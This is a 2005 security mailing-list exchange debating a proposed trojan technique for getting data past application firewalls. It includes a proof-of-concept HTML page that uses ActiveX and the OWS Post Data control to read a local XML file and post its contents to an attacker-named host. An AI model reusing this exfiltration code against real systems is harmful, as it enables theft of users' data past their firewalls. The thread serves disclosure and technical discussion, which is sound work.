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Re: [WEB SECURITY] RE: new attack technique? using JavaScript+XML+OWSPost Data

From: Gaurav Kumar <gaurav () securebox org>
Date: Thu, 22 Dec 2005 08:51:59 +0530

On 12/22/05, Debasis Mohanty <mail () hackingspirits com> wrote:

-----Original Message-----
From: Gaurav Kumar
Sent: Wednesday, December 21, 2005 8:59 PM
To: full-disclosure () lists grok org uk
Cc: websecurity () webappsec org
Subject: [Full-disclosure] new attack technique? using
JavaScript+XML+OWSPost Data

1>> A Trojan has been to be placed in a system running an
1>> application firewall like Zone Alarm Pro etc.

Assumptions:


2>> The target system must be having office XP and the user has
2>> to be lured to view a webpage hosted by attacker.

3>> The Trojan can be designed to generate an xml
3>> file which will contain the data to be sent out. The attacker will lure
the
3>> user to visit a website hosted by him.

Lol !! In a practical scenario, the attacker who spreads the worm/trojans
himself is not aware in the initial stage which are the infected machines
unless the trojan sends back the machine/user info back to the attacker. Now
as you have already mentioned ZA is running then no data can be sent back to
the attacker. So the attacker is clueless which are those infected machines.


Looks like u need to read again what i wrote. I didnt use the word
'spread'. Moreover, u need not know if the target system is running ZA
or not...the technique works even if firewall
is not installed. I am discussing a possible 'design' of a trojan
here, doesnt matter is ZA or any other FW is running on client.

So the case of luring the user to visit the link is out of scope...


really? ever heard of IE exploits?

The site can have following HTML code-


Now coming back to technical stuff, You are trying to access a local file
which will only be allowed if the site is in "Trusted Sites" or "Local
Intranet" or "Local Security Zone" and activex not marked safe. The fact
that *the client is also the server* is irrelevant.

Try uploading the script to some webserver and give a html extention; it
will throw an _access denied_ error when the page loads (even on Win XP +
SP1).

In case of any server side extention like *.asp, *.jsp etc, the user will be
prompted that an malicious component is trying to load and ask for user
permission.

<html>
<body>
The author is not responsible for any misuse,
this PoC is for educational purpose only.
<object classid="clsid:{BDEADE98-C265-11D0-BCED-00A0C90AB50F}"
id="exp">
</object>
<script LANGUAGE=javascript>
var xmlDoc
xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
xmlDoc.async=false;
xmlDoc.load("c:\\note.xml");
xmlObj=xmlDoc.documentElement;
var a= xmlObj.firstChild.text;
exp.Post(0,"http://www.attackersite.com/input.asp",a);
</script>
</body>
</html>

The above code (works well on windows XP SP2) essentials calls
"OWS Post Data" COM control to post the contents of note.xml
(generated by trojan) to attackersite.com


IMHO, never conduct such tests in a "Intranet Zone" or "Local Zone" and draw
conclusion about "Internet Security Zone".

You may also link to know about this issue -
http://support.microsoft.com/kb/317244/EN-US/

Essentially, the technique is breaking the basic
functionality of application firewalls by using OWS Post Data
as bridge for sending out the data using Javascript and XML.


Not Exactly !! I wud rather suggest you to do a little more research and
draw any conclusion. Keep those _Security Zones_ in mind before you post
anything...


Well..Exactly! i would suggest u read the 'assumptions' first, its an
assumption that user will click yes to warning...like most 'normal'
users do.



- D



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